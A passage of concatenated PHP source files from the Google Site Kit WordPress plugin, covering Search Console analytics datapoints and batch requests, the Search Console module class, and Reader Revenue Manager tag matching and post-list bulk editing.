Google\Site_Kit\Core\Modules\Datapoint; use Google\Site_Kit\Core\Modules\Executable_Datapoint; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\REST_API\Exception\Missing_Required_Param_Exception; use Google\Site_Kit_Dependencies\Google\Service\Exception as Google_Service_Exception; use Google\Site_Kit_Dependencies\Google\Service\SearchConsole\SearchAnalyticsQueryResponse; use WP_Error; /** * Datapoint class for Search Console search analytics batch requests. * * @since 1.170.0 * @access private * @ignore */ class SearchAnalyticsBatch extends Datapoint implements Executable_Datapoint { const REQUEST_METHODS = array( 'POST' ); const REST_METHODS = array( 'POST' ); const DATAPOINT = 'searchanalytics-batch'; /** * Callback to obtain the Search Console service. * * @since 1.170.0 * @var callable|Closure */ private $get_service; /** * Callback to prepare single search analytics request arguments. * * @since 1.170.0 * @var callable|Closure */ private $prepare_args; /** * Callback to build a search analytics request. * * @since 1.170.0 * @var callable|Closure */ private $create_request; /** * Identifiers for the requested payloads. * * @since 1.170.0 * @var array */ private $request_identifiers = array(); /** * Captured errors for individual requests. * * @since 1.170.0 * @var array */ private $request_errors = array(); /** * Constructor. * * @since 1.170.0 * * @param array $definition Datapoint definition. */ public function __construct( array $definition ) { parent::__construct( $definition ); $this->get_service = isset( $definition['get_service'] ) ? $definition['get_service'] : null; $this->prepare_args = isset( $definition['prepare_args'] ) ? $definition['prepare_args'] : null; $this->create_request = isset( $definition['create_request'] ) ? $definition['create_request'] : null; } /** * Creates a request object. * * @since 1.170.0 * * @param Data_Request $data_request Data request object. * @return callable|WP_Error Callable to execute the batch request, or WP_Error. * @throws Missing_Required_Param_Exception Thrown when required parameters are missing. */ public function create_request( Data_Request $data_request ) { $requests = isset( $data_request->data['requests'] ) ? $data_request->data['requests'] : null; if ( empty( $requests ) || ! is_array( $requests ) ) { throw new Missing_Required_Param_Exception( 'requests' ); } $this->request_identifiers = array(); $this->request_errors = array(); $service = $this->get_searchconsole_service(); $batch = $service->createBatch(); $has_valid_requests = false; foreach ( $requests as $request_data ) { $identifier = $this->normalize_identifier( $request_data ); $this->request_identifiers[] = $identifier; try { $args = $this->prepare_request_args( $request_data ); if ( is_wp_error( $args ) ) { $this->request_errors[ $identifier ] = $args; continue; } $single_request = $this->build_single_request( $args ); if ( is_wp_error( $single_request ) ) { $this->request_errors[ $identifier ] = $single_request; continue; } $batch->add( $single_request, $identifier ); $has_valid_requests = true; } catch ( Exception $exception ) { $this->request_errors[ $identifier ] = $this->exception_to_error( $exception ); } } if ( empty( $this->request_identifiers ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'requests' ), array( 'status' => 400 ) ); } if ( ! $has_valid_requests ) { return function () { return array(); }; } return function () use ( $batch ) { return $batch->execute(); }; } /** * Parses a response. * * @since 1.170.0 * * @param mixed $response Request response. * @param Data_Request $data_request Data request object. * @return array|WP_Error Associative array of responses keyed by identifier, or WP_Error on batch failure. */ public function parse_response( $response, Data_Request $data_request ) { if ( is_wp_error( $response ) ) { return $response; } $results = $this->request_errors; if ( is_array( $response ) ) { foreach ( $response as $identifier => $single_response ) { $normalized_identifier = $this->normalize_response_identifier( $identifier ); $results[ $normalized_identifier ] = $this->parse_single_response( $single_response ); } } // Preserve the original request ordering and ensure all identifiers are represented. $ordered_results = array(); foreach ( $this->request_identifiers as $identifier ) { if ( array_key_exists( $identifier, $results ) ) { $ordered_results[ $identifier ] = $results[ $identifier ]; } else { $ordered_results[ $identifier ] = new WP_Error( 'searchanalytics_batch_missing_response', __( 'Missing response from Search Console.', 'google-site-kit' ) ); } } // Append any unexpected identifiers returned by the API. foreach ( $results as $identifier => $single_result ) { if ( array_key_exists( $identifier, $ordered_results ) ) { continue; } $ordered_results[ $identifier ] = $single_result; } return $ordered_results; } /** * Parses a single batch response. * * @since 1.170.0 * * @param mixed $response Single response. * @return array|WP_Error Parsed rows or WP_Error. */ private function parse_single_response( $response ) { if ( is_wp_error( $response ) ) { return $response; } if ( $response instanceof Google_Service_Exception ) { return $this->exception_to_error( $response ); } if ( $response instanceof SearchAnalyticsQueryResponse ) { return $response->getRows(); } if ( is_object( $response ) && method_exists( $response, 'getRows' ) ) { return $response->getRows(); } return $response; } /** * Builds a single request. * * @since 1.170.0 * * @param array $args Prepared request arguments. * @return mixed Request instance or WP_Error. */ private function build_single_request( array $args ) { if ( ! is_callable( $this->create_request ) ) { return new WP_Error( 'invalid_request_callback', __( 'Invalid Search Console request callback.', 'google-site-kit' ) ); } return call_user_func( $this->create_request, $args ); } /** * Prepares request arguments for a single search analytics request. * * @since 1.170.0 * * @param array $request_data Raw request data. * @return array|WP_Error Prepared arguments or WP_Error. */ private function prepare_request_args( array $request_data ) { if ( ! is_callable( $this->prepare_args ) ) { return new WP_Error( 'invalid_request_args_callback', __( 'Invalid Search Console request arguments.', 'google-site-kit' ) ); } return call_user_func( $this->prepare_args, $request_data ); } /** * Gets the Search Console service instance. * * @since 1.170.0 * * @return Google_Service_SearchConsole Search Console service instance. * @throws Missing_Required_Param_Exception When the service callback is missing. */ private function get_searchconsole_service() { if ( is_callable( $this->get_service ) ) { return call_user_func( $this->get_service ); } throw new Missing_Required_Param_Exception( 'service' ); } /** * Normalizes a request identifier to a string. * * @since 1.170.0 * * @param array $request_data Request data. * @return string Normalized identifier. * @throws Missing_Required_Param_Exception When the identifier is missing or invalid. */ private function normalize_identifier( array $request_data ) { if ( isset( $request_data['identifier'] ) ) { $identifier = $request_data['identifier']; } elseif ( isset( $request_data['id'] ) ) { $identifier = $request_data['id']; } else { throw new Missing_Required_Param_Exception( 'identifier' ); } if ( ! is_scalar( $identifier ) ) { throw new Missing_Required_Param_Exception( 'identifier' ); } $identifier = (string) $identifier; if ( '' === $identifier ) { throw new Missing_Required_Param_Exception( 'identifier' ); } return $identifier; } /** * Normalizes a response identifier to align with requested keys. * * @since 1.170.0 * * @param string|int $identifier Raw response identifier. * @return string|int Normalized identifier. */ private function normalize_response_identifier( $identifier ) { if ( is_string( $identifier ) && 0 === strpos( $identifier, 'response-' ) ) { $identifier = substr( $identifier, strlen( 'response-' ) ); } return $identifier; } /** * Converts an exception to a WP_Error instance. * * @since 1.170.0 * * @param Exception $exception Exception instance. * @return WP_Error WP_Error instance. */ private function exception_to_error( Exception $exception ) { $status = (int) ( $exception->getCode() ?: 500 ); return new WP_Error( 'searchanalytics_batch_request_failed', $exception->getMessage(), array( 'status' => $status ) ); } } <?php /** * Class Google\Site_Kit\Modules\Search_Console\Datapoints\SearchAnalytics * * @package Google\Site_Kit\Modules\Search_Console\Datapoints * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Search_Console\Datapoints; use Google\Site_Kit\Core\Modules\Executable_Datapoint; use Google\Site_Kit\Core\Modules\Shareable_Datapoint; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit_Dependencies\Google\Service\SearchConsole\SearchAnalyticsQueryResponse; /** * Datapoint class for Search Console searchanalytics requests. * * @since 1.170.0 * @access private * @ignore */ class SearchAnalytics extends Shareable_Datapoint implements Executable_Datapoint { const REQUEST_METHODS = array( 'GET' ); const REST_METHODS = array( 'GET' ); const DATAPOINT = 'searchanalytics'; /** * Callback to prepare request arguments. * * @since 1.170.0 * @var callable */ private $prepare_args; /** * Callback to create the Search Console request instance. * * @since 1.170.0 * @var callable */ private $create_request; /** * Constructor. * * @since 1.170.0 * * @param array $definition Datapoint definition. */ public function __construct( array $definition ) { parent::__construct( $definition ); $this->prepare_args = isset( $definition['prepare_args'] ) ? $definition['prepare_args'] : null; $this->create_request = isset( $definition['create_request'] ) ? $definition['create_request'] : null; } /** * Creates a request object. * * @since 1.170.0 * * @param Data_Request $data_request Data request object. * @return mixed Request instance. */ public function create_request( Data_Request $data_request ) { $args = is_callable( $this->prepare_args ) ? call_user_func( $this->prepare_args, $data_request->data ) : array(); return is_callable( $this->create_request ) ? call_user_func( $this->create_request, $args ) : null; } /** * Parses a response. * * @since 1.170.0 * * @param mixed $response Request response. * @param Data_Request $data Data request object. * @return mixed Parsed response data. */ public function parse_response( $response, Data_Request $data ) { if ( $response instanceof SearchAnalyticsQueryResponse ) { return $response->getRows(); } if ( is_object( $response ) && method_exists( $response, 'getRows' ) ) { return $response->getRows(); } return $response; } } <?php /** * Class Google\Site_Kit\Modules\Search_Console * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules; use Google\Site_Kit\Core\Assets\Script; use Google\Site_Kit\Core\Authentication\Clients\Google_Site_Kit_Client; use Google\Site_Kit\Core\Modules\Module; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Modules\Module_With_Debug_Fields; use Google\Site_Kit\Core\Modules\Module_With_Owner; use Google\Site_Kit\Core\Modules\Module_With_Owner_Trait; use Google\Site_Kit\Core\Modules\Module_With_Scopes; use Google\Site_Kit\Core\Modules\Module_With_Scopes_Trait; use Google\Site_Kit\Core\Modules\Module_With_Settings; use Google\Site_Kit\Core\Modules\Module_With_Settings_Trait; use Google\Site_Kit\Core\Modules\Module_With_Assets; use Google\Site_Kit\Core\Modules\Module_With_Assets_Trait; use Google\Site_Kit\Core\Modules\Module_With_Service_Entity; use Google\Site_Kit\Core\Modules\Module_With_Data_Available_State; use Google\Site_Kit\Core\Modules\Module_With_Data_Available_State_Trait; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\REST_API\Exception\Invalid_Datapoint_Exception; use Google\Site_Kit\Core\Util\Date; use Google\Site_Kit\Core\Util\Google_URL_Matcher_Trait; use Google\Site_Kit\Core\Util\Google_URL_Normalizer; use Google\Site_Kit\Core\Util\Sort; use Google\Site_Kit\Modules\Search_Console\Settings; use Google\Site_Kit\Modules\Search_Console\Datapoints\SearchAnalyticsBatch; use Google\Site_Kit\Modules\Search_Console\Datapoints\SearchAnalytics; use Google\Site_Kit_Dependencies\Google\Service\Exception as Google_Service_Exception; use Google\Site_Kit_Dependencies\Google\Service\SearchConsole as Google_Service_SearchConsole; use Google\Site_Kit_Dependencies\Google\Service\SearchConsole\SitesListResponse as Google_Service_SearchConsole_SitesListResponse; use Google\Site_Kit_Dependencies\Google\Service\SearchConsole\WmxSite as Google_Service_SearchConsole_WmxSite; use Google\Site_Kit_Dependencies\Google\Service\SearchConsole\SearchAnalyticsQueryRequest as Google_Service_SearchConsole_SearchAnalyticsQueryRequest; use Google\Site_Kit_Dependencies\Google\Service\SearchConsole\ApiDimensionFilter as Google_Service_SearchConsole_ApiDimensionFilter; use Google\Site_Kit_Dependencies\Google\Service\SearchConsole\ApiDimensionFilterGroup as Google_Service_SearchConsole_ApiDimensionFilterGroup; use Google\Site_Kit_Dependencies\Psr\Http\Message\ResponseInterface; use Google\Site_Kit_Dependencies\Psr\Http\Message\RequestInterface; use WP_Error; use Exception; /** * Class representing the Search Console module. * * @since 1.0.0 * @access private * @ignore */ final class Search_Console extends Module implements Module_With_Scopes, Module_With_Settings, Module_With_Assets, Module_With_Debug_Fields, Module_With_Owner, Module_With_Service_Entity, Module_With_Data_Available_State { use Module_With_Scopes_Trait; use Module_With_Settings_Trait; use Google_URL_Matcher_Trait; use Module_With_Assets_Trait; use Module_With_Owner_Trait; use Module_With_Data_Available_State_Trait; /** * Module slug name. */ const MODULE_SLUG = 'search-console'; /** * Registers functionality through WordPress hooks. * * @since 1.0.0 */ public function register() { $this->register_scopes_hook(); // Detect and store Search Console property when receiving token for the first time. add_action( 'googlesitekit_authorize_user', function ( array $token_response ) { if ( ! current_user_can( Permissions::SETUP ) ) { return; } // If the response includes the Search Console property, set that. // But only if it is being set for the first time or if Search Console // has no owner or the current user is the owner. if ( ! empty( $token_response['search_console_property'] ) && ( empty( $this->get_property_id() ) || ( in_array( $this->get_owner_id(), array( 0, get_current_user_id() ), true ) ) ) ) { $this->get_settings()->merge( array( 'propertyID' => $token_response['search_console_property'] ) ); return; } // Otherwise try to detect if there isn't one set already. $property_id = $this->get_property_id() ?: $this->detect_property_id(); if ( ! $property_id ) { return; } $this->get_settings()->merge( array( 'propertyID' => $property_id ) ); } ); // Ensure that the data available state is reset when the property changes. $this->get_settings()->on_change( function ( $old_value, $new_value ) { if ( is_array( $old_value ) && is_array( $new_value ) && isset( array_diff_assoc( $new_value, $old_value )['propertyID'] ) ) { $this->reset_data_available(); } } ); // Ensure that a Search Console property must be set at all times. add_filter( 'googlesitekit_setup_complete', function ( $complete ) { if ( ! $complete ) { return $complete; } return (bool) $this->get_property_id(); } ); // Provide Search Console property information to JavaScript. add_filter( 'googlesitekit_setup_data', function ( $data ) { $data['hasSearchConsoleProperty'] = (bool) $this->get_property_id(); return $data; }, 11 ); } /** * Gets required Google OAuth scopes for the module. * * @since 1.0.0 * * @return array List of Google OAuth scopes. */ public function get_scopes() { return array( 'https://www.googleapis.com/auth/webmasters', // The scope for the Search Console remains the legacy webmasters scope. ); } /** * Gets an array of debug field definitions. * * @since 1.5.0 * * @return array */ public function get_debug_fields() { return array( 'search_console_property' => array( 'label' => __( 'Search Console: Property', 'google-site-kit' ), 'value' => $this->get_property_id(), ), ); } /** * Gets map of datapoint to definition data for each. * * @since 1.12.0 * * @return array Map of datapoints to their definitions. */ protected function get_datapoint_definitions() { return array( 'GET:matched-sites' => array( 'service' => 'searchconsole' ), 'GET:searchanalytics' => new SearchAnalytics( array( 'service' => 'searchconsole', 'shareable' => true, 'prepare_args' => function ( array $request_data ) { return $this->prepare_search_analytics_request_args( $request_data ); }, 'create_request' => function ( array $args ) { return $this->create_search_analytics_data_request( $args ); }, ) ), 'POST:searchanalytics-batch' => new SearchAnalyticsBatch( array( 'service' => 'searchconsole', 'shareable' => true, 'get_service' => function () { return $this->get_searchconsole_service(); }, 'prepare_args' => function ( array $request_data ) { return $this->prepare_search_analytics_request_args( $request_data ); }, 'create_request' => function ( array $args ) { return $this->create_search_analytics_data_request( $args ); }, ) ), 'POST:site' => array( 'service' => 'searchconsole' ), 'GET:sites' => array( 'service' => 'searchconsole' ), ); } /** * Creates a request object for the given datapoint. * * @since 1.0.0 * * @param Data_Request $data Data request object. * @return RequestInterface|callable|WP_Error Request object or callable on success, or WP_Error on failure. * * @throws Invalid_Datapoint_Exception Thrown if the datapoint does not exist. */ protected function create_data_request( Data_Request $data ) { switch ( "{$data->method}:{$data->datapoint}" ) { case 'GET:matched-sites': return $this->get_searchconsole_service()->sites->listSites(); case 'POST:site': if ( empty( $data['siteURL'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'siteURL' ), array( 'status' => 400 ) ); } $url_normalizer = new Google_URL_Normalizer(); $site_url = $data['siteURL']; if ( 0 === strpos( $site_url, 'sc-domain:' ) ) { // Domain property. $site_url = 'sc-domain:' . $url_normalizer->normalize_url( str_replace( 'sc-domain:', '', $site_url, 1 ) ); } else { // URL property. $site_url = $url_normalizer->normalize_url( trailingslashit( $site_url ) ); } return function () use ( $site_url ) { $restore_defer = $this->with_client_defer( false ); try { // If the site does not exist in the account, an exception will be thrown. $site = $this->get_searchconsole_service()->sites->get( $site_url ); } catch ( Google_Service_Exception $exception ) { // If we got here, the site does not exist in the account, so we will add it. /* @var ResponseInterface $response Response object. */ $response = $this->get_searchconsole_service()->sites->add( $site_url ); if ( 204 !== $response->getStatusCode() ) { return new WP_Error( 'failed_to_add_site_to_search_console', __( 'Error adding the site to Search Console.', 'google-site-kit' ), array( 'status' => 500 ) ); } // Fetch the site again now that it exists. $site = $this->get_searchconsole_service()->sites->get( $site_url ); } $restore_defer(); $this->get_settings()->merge( array( 'propertyID' => $site_url ) ); return array( 'siteURL' => $site->getSiteUrl(), 'permissionLevel' => $site->getPermissionLevel(), ); }; case 'GET:sites': return $this->get_searchconsole_service()->sites->listSites(); } return parent::create_data_request( $data ); } /** * Parses a response for the given datapoint. * * @since 1.0.0 * * @param Data_Request $data Data request object. * @param mixed $response Request response. * * @return mixed Parsed response data on success, or WP_Error on failure. */ protected function parse_data_response( Data_Request $data, $response ) { switch ( "{$data->method}:{$data->datapoint}" ) { case 'GET:matched-sites': /* @var Google_Service_SearchConsole_SitesListResponse $response Response object. */ $entries = Sort::case_insensitive_list_sort( $this->map_sites( (array) $response->getSiteEntry() ), 'siteURL' // Must match the mapped value. ); $strict = filter_var( $data['strict'], FILTER_VALIDATE_BOOLEAN ); $current_url = $this->context->get_reference_site_url(); if ( ! $strict ) { $current_url = untrailingslashit( $current_url ); $current_url = $this->strip_url_scheme( $current_url ); $current_url = $this->strip_domain_www( $current_url ); } $sufficient_permission_levels = array( 'siteRestrictedUser', 'siteOwner', 'siteFullUser', ); return array_values( array_filter( $entries, function ( array $entry ) use ( $current_url, $sufficient_permission_levels, $strict ) { if ( 0 === strpos( $entry['siteURL'], 'sc-domain:' ) ) { $match = $this->is_domain_match( substr( $entry['siteURL'], strlen( 'sc-domain:' ) ), $current_url ); } else { $site_url = untrailingslashit( $entry['siteURL'] ); if ( ! $strict ) { $site_url = $this->strip_url_scheme( $site_url ); $site_url = $this->strip_domain_www( $site_url ); } $match = $this->is_url_match( $site_url, $current_url ); } return $match && in_array( $entry['permissionLevel'], $sufficient_permission_levels, true ); } ) ); case 'GET:sites': /* @var Google_Service_SearchConsole_SitesListResponse $response Response object. */ return $this->map_sites( (array) $response->getSiteEntry() ); } return parent::parse_data_response( $data, $response ); } /** * Prepares Search Console analytics request arguments from request data. * * @since 1.170.0 * * @param array $data_request Request data parameters. * @return array Parsed request arguments. */ protected function prepare_search_analytics_request_args( array $data_request ) { $start_date = isset( $data_request['startDate'] ) ? $data_request['startDate'] : ''; $end_date = isset( $data_request['endDate'] ) ? $data_request['endDate'] : ''; if ( ! strtotime( $start_date ) || ! strtotime( $end_date ) ) { list ( $start_date, $end_date ) = Date::parse_date_range( 'last-28-days', 1, 1 ); } $parsed_request = array( 'start_date' => $start_date, 'end_date' => $end_date, ); if ( ! empty( $data_request['url'] ) ) { $parsed_request['page'] = ( new Google_URL_Normalizer() )->normalize_url( $data_request['url'] ); } if ( isset( $data_request['rowLimit'] ) ) { $parsed_request['row_limit'] = $data_request['rowLimit']; } if ( isset( $data_request['limit'] ) ) { $parsed_request['row_limit'] = $data_request['limit']; } $dimensions = $this->parse_string_list( isset( $data_request['dimensions'] ) ? $data_request['dimensions'] : array() ); if ( is_array( $dimensions ) && ! empty( $dimensions ) ) { $parsed_request['dimensions'] = $dimensions; } return $parsed_request; } /** * Map Site model objects to associative arrays used for API responses. * * @param array $sites Site objects. * * @return array */ private function map_sites( $sites ) { return array_map( function ( Google_Service_SearchConsole_WmxSite $site ) { return array( 'siteURL' => $site->getSiteUrl(), 'permissionLevel' => $site->getPermissionLevel(), ); }, $sites ); } /** * Creates a new Search Console analytics request for the current site and given arguments. * * @since 1.0.0 * * @param array $args { * Optional. Additional arguments. * * @type array $dimensions List of request dimensions. Default empty array. * @type string $start_date Start date in 'Y-m-d' format. Default empty string. * @type string $end_date End date in 'Y-m-d' format. Default empty string. * @type string $page Specific page URL to filter by. Default empty string. * @type int $row_limit Limit of rows to return. Default 1000. * } * @return RequestInterface Search Console analytics request instance. */ protected function create_search_analytics_data_request( array $args = array() ) { $args = wp_parse_args( $args, array( 'dimensions' => array(), 'start_date' => '', 'end_date' => '', 'page' => '', 'row_limit' => 1000, ) ); $property_id = $this->get_property_id(); $request = new Google_Service_SearchConsole_SearchAnalyticsQueryRequest(); if ( ! empty( $args['dimensions'] ) ) { $request->setDimensions( (array) $args['dimensions'] ); } if ( ! empty( $args['start_date'] ) ) { $request->setStartDate( $args['start_date'] ); } if ( ! empty( $args['end_date'] ) ) { $request->setEndDate( $args['end_date'] ); } $request->setDataState( 'all' ); $filters = array(); // If domain property, limit data to URLs that are part of the current site. if ( 0 === strpos( $property_id, 'sc-domain:' ) ) { $scope_site_filter = new Google_Service_SearchConsole_ApiDimensionFilter(); $scope_site_filter->setDimension( 'page' ); $scope_site_filter->setOperator( 'contains' ); $scope_site_filter->setExpression( esc_url_raw( $this->context->get_reference_site_url() ) ); $filters[] = $scope_site_filter; } // If specific URL requested, limit data to that URL. if ( ! empty( $args['page'] ) ) { $single_url_filter = new Google_Service_SearchConsole_ApiDimensionFilter(); $single_url_filter->setDimension( 'page' ); $single_url_filter->setOperator( 'equals' ); $single_url_filter->setExpression( rawurldecode( esc_url_raw( $args['page'] ) ) ); $filters[] = $single_url_filter; } // If there are relevant filters, add them to the request. if ( ! empty( $filters ) ) { $filter_group = new Google_Service_SearchConsole_ApiDimensionFilterGroup(); $filter_group->setGroupType( 'and' ); $filter_group->setFilters( $filters ); $request->setDimensionFilterGroups( array( $filter_group ) ); } if ( ! empty( $args['row_limit'] ) ) { $request->setRowLimit( $args['row_limit'] ); } return $this->get_searchconsole_service() ->searchanalytics ->query( $property_id, $request ); } /** * Gets the property ID. * * @since 1.3.0 * * @return string Property ID URL if set, or empty string. */ protected function get_property_id() { $option = $this->get_settings()->get(); return $option['propertyID']; } /** * Detects the property ID to use for this site. * * This method runs a Search Console API request. The determined ID should therefore be stored and accessed through * {@see Search_Console::get_property_id()} instead. * * @since 1.3.0 * * @return string Property ID, or empty string if none found. */ protected function detect_property_id() { $properties = $this->get_data( 'matched-sites', array( 'strict' => 'yes' ) ); if ( is_wp_error( $properties ) || ! $properties ) { return ''; } // If there are multiple, prefer URL property over domain property. if ( count( $properties ) > 1 ) { $url_properties = array_filter( $properties, function ( $property ) { return 0 !== strpos( $property['siteURL'], 'sc-domain:' ); } ); if ( count( $url_properties ) > 0 ) { $properties = $url_properties; } } $property = array_shift( $properties ); return $property['siteURL']; } /** * Sets up information about the module. * * @since 1.0.0 * * @return array Associative array of module info. */ protected function setup_info() { return array( 'slug' => 'search-console', 'name' => _x( 'Search Console', 'Service name', 'google-site-kit' ), 'description' => __( 'Google Search Console and helps you understand how Google views your site and optimize its performance in search results.', 'google-site-kit' ), 'order' => 1, 'homepage' => __( 'https://search.google.com/search-console', 'google-site-kit' ), ); } /** * Get the configured SearchConsole service instance. * * @since 1.25.0 * * @return Google_Service_SearchConsole The Search Console API service. */ private function get_searchconsole_service() { return $this->get_service( 'searchconsole' ); } /** * Sets up the Google services the module should use. * * This method is invoked once by {@see Module::get_service()} to lazily set up the services when one is requested * for the first time. * * @since 1.0.0 * @since 1.2.0 Now requires Google_Site_Kit_Client instance. * * @param Google_Site_Kit_Client $client Google client instance. * @return array Google services as $identifier => $service_instance pairs. Every $service_instance must be an * instance of Google_Service. */ protected function setup_services( Google_Site_Kit_Client $client ) { return array( 'searchconsole' => new Google_Service_SearchConsole( $client ), ); } /** * Sets up the module's settings instance. * * @since 1.3.0 * * @return Module_Settings */ protected function setup_settings() { return new Settings( $this->options ); } /** * Sets up the module's assets to register. * * @since 1.9.0 * * @return Asset[] List of Asset objects. */ protected function setup_assets() { $base_url = $this->context->url( 'dist/assets/' ); return array( new Script( 'googlesitekit-modules-search-console', array( 'src' => $base_url . 'js/googlesitekit-modules-search-console.js', 'dependencies' => array( 'googlesitekit-vendor', 'googlesitekit-api', 'googlesitekit-data', 'googlesitekit-datastore-user', 'googlesitekit-modules', 'googlesitekit-components', 'googlesitekit-modules-data', ), ) ), ); } /** * Returns TRUE to indicate that this module should be always active. * * @since 1.49.0 * * @return bool Returns `true` indicating that this module should be activated all the time. */ public static function is_force_active() { return true; } /** * Checks if the current user has access to the current configured service entity. * * @since 1.70.0 * * @return boolean|WP_Error */ public function check_service_entity_access() { $data_request = array( 'start_date' => gmdate( 'Y-m-d' ), 'end_date' => gmdate( 'Y-m-d' ), 'row_limit' => 1, ); try { $this->create_search_analytics_data_request( $data_request ); } catch ( Exception $e ) { if ( $e->getCode() === 403 ) { return false; } return $this->exception_to_error( $e ); } return true; } } <?php /** * Class Google\Site_Kit\Modules\Reader_Revenue_Manager\Tag_Matchers * * @package Google\Site_Kit\Modules\Reader_Revenue_Manager * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Reader_Revenue_Manager; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; use Google\Site_Kit\Core\Tags\Tag_Matchers_Interface; /** * Class for Tag matchers. * * @since 1.132.0 * @access private * @ignore */ class Tag_Matchers extends Module_Tag_Matchers implements Tag_Matchers_Interface { /** * Holds array of regex tag matchers. * * @since 1.132.0 * * @return array Array of regex matchers. */ public function regex_matchers() { return array( "/<script\s+[^>]*src=['|\"]https?:\/\/news\.google\.com\/swg\/js\/v1\/swg-basic\.js['|\"][^>]*>/", '/\(self\.SWG_BASIC=self\.SWG_BASIC\|\|\[\]\)\.push/', ); } } <?php /** * Class Google\Site_Kit\Modules\Reader_Revenue_Manager\Admin_Post_List * * @package Google\Site_Kit\Modules\Reader_Revenue_Manager * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Reader_Revenue_Manager; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Post_Product_ID; /** * Class for adding RRM elements to the WP Admin post list. * * @since 1.148.0 * @access private * @ignore */ class Admin_Post_List { /** * Post_Product_ID instance. * * @since 1.148.0 * * @var Post_Product_ID */ private $post_product_id; /** * Settings instance. * * @since 1.148.0 * * @var Settings */ private $settings; /** * Constructor. * * @since 1.148.0 * * @param Settings $settings Module settings instance. * @param Post_Product_ID $post_product_id Post Product ID. */ public function __construct( Settings $settings, Post_Product_ID $post_product_id ) { $this->settings = $settings; $this->post_product_id = $post_product_id; } /** * Registers functionality through WordPress hooks. * * @since 1.148.0 */ public function register() { $post_types = $this->get_post_types(); foreach ( $post_types as $post_type ) { add_filter( "manage_{$post_type}_posts_columns", array( $this, 'add_column' ) ); add_action( "manage_{$post_type}_posts_custom_column", array( $this, 'fill_column' ), 10, 2 ); } add_action( 'bulk_edit_custom_box', array( $this, 'bulk_edit_field' ), 10, 2 ); add_action( 'save_post', array( $this, 'save_field' ) ); } /** * Adds a custom column to the post list. * * @since 1.148.0 * * @param array $columns Columns. * @return array Modified columns. */ public function add_column( $columns ) { $columns['rrm_product_id'] = __( 'Reader Revenue CTA', 'google-site-kit' ); return $columns; } /** * Fills the custom column with data. * * @since 1.148.0 * * @param string $column Column name. * @param int $post_id Post ID. */ public function fill_column( $column, $post_id ) { if ( 'rrm_product_id' !== $column ) { return; } $post_product_id = $this->post_product_id->get( $post_id ); if ( ! empty( $post_product_id ) ) { switch ( $post_product_id ) { case 'none': esc_html_e( 'None', 'google-site-kit' ); break; case 'openaccess': esc_html_e( 'Open access', 'google-site-kit' ); break; default: $separator_index = strpos( $post_product_id, ':' ); if ( false === $separator_index ) { echo esc_html( $post_product_id ); } else { echo esc_html( substr( $post_product_id, $separator_index + 1 ) ); } } return; } $settings = $this->settings->get(); $snippet_mode = $settings['snippetMode']; $cta_post_types = apply_filters( 'googlesitekit_reader_revenue_manager_cta_post_types', $settings['postTypes'] ); if ( 'per_post' === $snippet_mode || ( 'post_types' === $snippet_mode && ! in_array( get_post_type(), $cta_post_types, true ) ) ) { esc_html_e( 'None', 'google-site-kit' ); return; } esc_html_e( 'Default', 'google-site-kit' ); } /** * Adds a custom field to the bulk edit form. * * @since 1.148.0 */ public function bulk_edit_field() { $settings = $this->settings->get(); $product_ids = $settings['productIDs'] ?? array(); $default_options = array( '-1' => __( '— No Change —', 'google-site-kit' ), '' => __( 'Default', 'google-site-kit' ), 'none' => __( 'None', 'google-site-kit' ), 'openaccess' => __( 'Open access', 'google-site-kit' ), ); ?> <fieldset class="inline-edit-col-right"> <div class="inline-edit-col"> <label style="align-items: center; display: flex; gap: 16px; line-height: 1;"> <span><?php esc_html_e( 'Reader Revenue CTA', 'google-site-kit' ); ?></span> <select name="rrm_product_id"> <?php foreach ( $default_options as $value => $label ) : ?> <option value="<?php echo esc_attr( $value ); ?>"> <?php echo esc_html( $label ); ?> </option> <?php endforeach; ?> <?php foreach ( $product_ids as $product_id ) : ?> <?php list( , $label ) = explode( ':', $product_id, 2 ); ?> <option value="<?php echo esc_attr( $product_id ); ?>"> <?php echo esc_html( $label ); ?> </option> <?php endforeach; ?> </select> </label> </div> </fieldset> <?php } /** * Saves the custom field value from the bulk edit form. * * @since 1.148.0 * * @param int $post_id Post ID. */ public function save_field( $post_id ) { if ( ! current_user_can( 'edit_post', $post_id ) ) { return; } if ( ! isset( $_REQUEST['_wpnonce'] ) ) { return; } $nonce = sanitize_key( wp_unslash( $_REQUEST['_wpnonce'] ) ); if ( ! wp_verify_nonce( $nonce, 'bulk-posts' ) ) { return; } if ( isset( $_REQUEST['rrm_product_id'] ) && '-1' !== $_REQUEST['rrm_product_id'] ) { $post_product_id = sanitize_text_field( wp_unslash( $_REQUEST['rrm_product_id'] ) ); $this->post_product_id->set( $post_id, $post_product_id ); } } /** * Retrieves the public post types that support the block editor. * * @since 1.148.0 * * @return array Array of post types. */ protected function get_post_types() { $post_types = get_post_types( array( 'public' => true ), 'objects' ); $supported_post_types = array(); foreach ( $post_types as $post_type => $post_type_obj ) { if ( post_type_supports( $post_type, 'editor' ) && ! empty( $post_type_obj->show_in_rest ) ) { $supported_post_types[] = $post_type; } } return $supported_post_types; } } <?php /** * Class Google\Site_Kit\Modules\Reader_Revenue_Manager\Settings * * @package Google\Site_Kit\Modules\Reader_Revenue_Manager * @copyright 